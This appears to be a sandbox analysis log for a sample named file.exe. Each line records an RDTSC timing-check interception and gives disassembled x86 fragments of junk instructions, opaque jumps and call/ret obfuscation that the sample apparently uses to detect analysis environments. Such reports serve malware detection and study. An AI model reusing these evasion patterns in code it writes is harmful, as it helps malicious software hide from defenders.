Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538A1B second address: 538A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538A1F second address: 538A25 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B86C second address: 53B890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov dword ptr [esp], eax 0x00000008 and di, AE55h 0x0000000d push 00000000h 0x0000000f mov di, 7D11h 0x00000013 or edx, 57E028B2h 0x00000019 push EA82860Bh 0x0000001e push eax 0x0000001f push edx 0x00000020 push ecx 0x00000021 push edx 0x00000022 pop edx 0x00000023 pop ecx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B890 second address: 53B949 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 157D7A75h 0x0000000f mov dword ptr [ebp+122D1A4Ah], eax 0x00000015 push 00000003h 0x00000017 je 00007F3F244F40DCh 0x0000001d mov ecx, dword ptr [ebp+122D2778h] 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push edx 0x00000028 call 00007F3F244F40D8h 0x0000002d pop edx 0x0000002e mov dword ptr [esp+04h], edx 0x00000032 add dword ptr [esp+04h], 00000016h 0x0000003a inc edx 0x0000003b push edx 0x0000003c ret 0x0000003d pop edx 0x0000003e ret 0x0000003f and ecx, dword ptr [ebp+122D24A4h] 0x00000045 push 00000003h 0x00000047 mov dword ptr [ebp+122D1E93h], esi 0x0000004d push AEB7C77Ch 0x00000052 jmp 00007F3F244F40E2h 0x00000057 add dword ptr [esp], 11483884h 0x0000005e push 00000000h 0x00000060 push ebp 0x00000061 call 00007F3F244F40D8h 0x00000066 pop ebp 0x00000067 mov dword ptr [esp+04h], ebp 0x0000006b add dword ptr [esp+04h], 0000001Ch 0x00000073 inc ebp 0x00000074 push ebp 0x00000075 ret 0x00000076 pop ebp 0x00000077 ret 0x00000078 lea ebx, dword ptr [ebp+1244D751h] 0x0000007e jne 00007F3F244F40DAh 0x00000084 xchg eax, ebx 0x00000085 push eax 0x00000086 push edx 0x00000087 jmp 00007F3F244F40E3h 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B98E second address: 53B9DE instructions: 0x00000000 rdtsc 0x00000002 je 00007F3F24EE26F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d ja 00007F3F24EE26F9h 0x00000013 mov di, si 0x00000016 mov dword ptr [ebp+122D1A3Dh], eax 0x0000001c push 00000000h 0x0000001e cld 0x0000001f mov dword ptr [ebp+122D2335h], edx 0x00000025 call 00007F3F24EE26F9h 0x0000002a jmp 00007F3F24EE26FCh 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F3F24EE2701h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B9DE second address: 53BA33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F244F40E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e jnc 00007F3F244F40D8h 0x00000014 pushad 0x00000015 jmp 00007F3F244F40E2h 0x0000001a jmp 00007F3F244F40DDh 0x0000001f popad 0x00000020 popad 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 jnc 00007F3F244F40D6h 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53BA33 second address: 53BA38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53BA38 second address: 53BA5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F244F40E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F3F244F40D8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53BA5C second address: 53BB01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F24EE2708h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jmp 00007F3F24EE2700h 0x0000000f push 00000003h 0x00000011 clc 0x00000012 push 00000000h 0x00000014 mov ecx, dword ptr [ebp+122D27E4h] 0x0000001a push 00000003h 0x0000001c jo 00007F3F24EE26F6h 0x00000022 push B83A8EC4h 0x00000027 push eax 0x00000028 jmp 00007F3F24EE2704h 0x0000002d pop eax 0x0000002e xor dword ptr [esp], 783A8EC4h 0x00000035 mov esi, dword ptr [ebp+122D29ACh] 0x0000003b lea ebx, dword ptr [ebp+1244D75Ah] 0x00000041 push esi 0x00000042 mov dh, 6Fh 0x00000044 pop edx 0x00000045 jmp 00007F3F24EE2708h 0x0000004a xchg eax, ebx 0x0000004b jmp 00007F3F24EE2705h 0x00000050 push eax 0x00000051 pushad 0x00000052 push esi 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53BB7B second address: 53BC34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F244F40DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F3F244F40E7h 0x0000000f nop 0x00000010 mov cx, 62AEh 0x00000014 push 00000000h 0x00000016 mov esi, 6400E677h 0x0000001b mov edx, edi 0x0000001d push 221B2ED3h 0x00000022 pushad 0x00000023 jnp 00007F3F244F40DCh 0x00000029 jc 00007F3F244F40D6h 0x0000002f jmp 00007F3F244F40E3h 0x00000034 popad 0x00000035 xor dword ptr [esp], 221B2E53h 0x0000003c call 00007F3F244F40E8h 0x00000041 mov esi, dword ptr [ebp+122D298Ch] 0x00000047 pop edi 0x00000048 push 00000003h 0x0000004a mov esi, 15CCECFCh 0x0000004f push 00000000h 0x00000051 jng 00007F3F244F40DCh 0x00000057 sub esi, 238242C3h 0x0000005d push 00000003h 0x0000005f push edx 0x00000060 mov dword ptr [ebp+122D1EEEh], eax 0x00000066 pop edx 0x00000067 call 00007F3F244F40D9h 0x0000006c push eax 0x0000006d push edx 0x0000006e pushad 0x0000006f jnl 00007F3F244F40D6h 0x00000075 pushad 0x00000076 popad 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53BC34 second address: 53BC72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F24EE2705h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007F3F24EE26FAh 0x00000010 push edi 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F3F24EE2704h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53BC72 second address: 53BC78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53BC78 second address: 53BCF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push esi 0x0000000b jmp 00007F3F24EE2703h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 jmp 00007F3F24EE2707h 0x0000001a pop eax 0x0000001b jmp 00007F3F24EE2707h 0x00000020 lea ebx, dword ptr [ebp+1244D765h] 0x00000026 jmp 00007F3F24EE26FCh 0x0000002b xchg eax, ebx 0x0000002c jmp 00007F3F24EE26FEh 0x00000031 push eax 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53BCF1 second address: 53BCF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E357 second address: 54E363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 ja 00007F3F24EE26F6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559A9B second address: 559AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559AA0 second address: 559AA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559AA5 second address: 559AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F244F40E0h 0x00000009 jno 00007F3F244F40D6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559AC4 second address: 559ACE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3F24EE26F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559DB5 second address: 559DD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F244F40DCh 0x00000007 jbe 00007F3F244F40D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push edi 0x00000013 pop edi 0x00000014 je 00007F3F244F40D6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559DD8 second address: 559DF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3F24EE2705h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559DF7 second address: 559E0B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F3F244F40DCh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559E0B second address: 559E13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559E13 second address: 559E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559FA8 second address: 559FB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3F24EE26F6h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559FB3 second address: 559FC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F244F40DBh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A3CD second address: 55A3F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F24EE2700h 0x00000009 jo 00007F3F24EE26F6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007F3F24EE26F6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A3F0 second address: 55A3F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A9D2 second address: 55A9E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F24EE26FBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55AB3F second address: 55AB6E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F3F244F40E3h 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3F244F40E2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55AB6E second address: 55AB87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F24EE2705h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B3DB second address: 55B3E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B3E1 second address: 55B3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F3F24EE26F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B3EB second address: 55B3F5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3F244F40D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B56B second address: 55B56F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B56F second address: 55B573 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B573 second address: 55B585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F3F24EE26F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B585 second address: 55B5A0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3F244F40D6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F3F244F40DAh 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B7E5 second address: 55B7F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F24EE26FFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B7F8 second address: 55B815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3F244F40E2h 0x0000000b pop edi 0x0000000c push edx 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55BB60 second address: 55BB73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F3F24EE26FEh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55BB73 second address: 55BB79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55BB79 second address: 55BB7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561C99 second address: 561CA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F3F244F40D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561CA6 second address: 561CC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F24EE2703h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561CC7 second address: 561CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561CCB second address: 561CDD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3F24EE26F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561CDD second address: 561CE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560CD8 second address: 560CDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560CDE second address: 560CF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F3F244F40D6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560CF3 second address: 560CF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5682C4 second address: 5682DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F244F40E2h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5682DD second address: 5682E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5678C8 second address: 5678D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3F244F40D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568140 second address: 568146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568146 second address: 568157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop ebx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F3F244F40D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568157 second address: 568172 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3F24EE26F6h 0x00000008 jmp 00007F3F24EE26FCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B916 second address: 56B946 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3F244F40D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jc 00007F3F244F40E8h 0x00000012 jmp 00007F3F244F40E2h 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push edi 0x0000001f pop edi 0x00000020 push eax 0x00000021 pop eax 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B946 second address: 56B969 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F24EE2707h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B969 second address: 56B96D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B96D second address: 56B980 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F24EE26FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B980 second address: 56B9BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007F3F244F40DBh 0x00000011 pop eax 0x00000012 call 00007F3F244F40E2h 0x00000017 add dword ptr [ebp+122D1E47h], esi 0x0000001d pop esi 0x0000001e call 00007F3F244F40D9h 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B9BF second address: 56BA0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F24EE26FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F3F24EE26FAh 0x0000000e popad 0x0000000f push eax 0x00000010 push ecx 0x00000011 jns 00007F3F24EE26F8h 0x00000017 pushad 0x00000018 popad 0x00000019 pop ecx 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e jmp 00007F3F24EE2707h 0x00000023 mov eax, dword ptr [eax] 0x00000025 jc 00007F3F24EE2704h 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56BA0D second address: 56BA11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56BA11 second address: 56BA20 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56BB23 second address: 56BB37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F3F244F40D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56BDA7 second address: 56BDAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C028 second address: 56C04B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007F3F244F40F4h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3F244F40E2h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C931 second address: 56C944 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F24EE26FFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C944 second address: 56C948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56D8BF second address: 56D8C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56E27F second address: 56E289 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3F244F40D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56D8C5 second address: 56D8FB instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3F24EE26F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f jmp 00007F3F24EE26FDh 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3F24EE2707h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56EAE6 second address: 56EB01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F244F40E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F5F7 second address: 56F5FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 570032 second address: 57003C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F3F244F40D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57003C second address: 5700D6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3F24EE26F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F3F24EE26F8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 sub si, 4587h 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edi 0x00000033 call 00007F3F24EE26F8h 0x00000038 pop edi 0x00000039 mov dword ptr [esp+04h], edi 0x0000003d add dword ptr [esp+04h], 0000001Bh 0x00000045 inc edi 0x00000046 push edi 0x00000047 ret 0x00000048 pop edi 0x00000049 ret 0x0000004a or dword ptr [ebp+122D2456h], esi 0x00000050 push 00000000h 0x00000052 push 00000000h 0x00000054 push eax 0x00000055 call 00007F3F24EE26F8h 0x0000005a pop eax 0x0000005b mov dword ptr [esp+04h], eax 0x0000005f add dword ptr [esp+04h], 0000001Dh 0x00000067 inc eax 0x00000068 push eax 0x00000069 ret 0x0000006a pop eax 0x0000006b ret 0x0000006c mov edi, dword ptr [ebp+122D283Ch] 0x00000072 xchg eax, ebx 0x00000073 push eax 0x00000074 push edx 0x00000075 jmp 00007F3F24EE26FDh 0x0000007a rdtsc
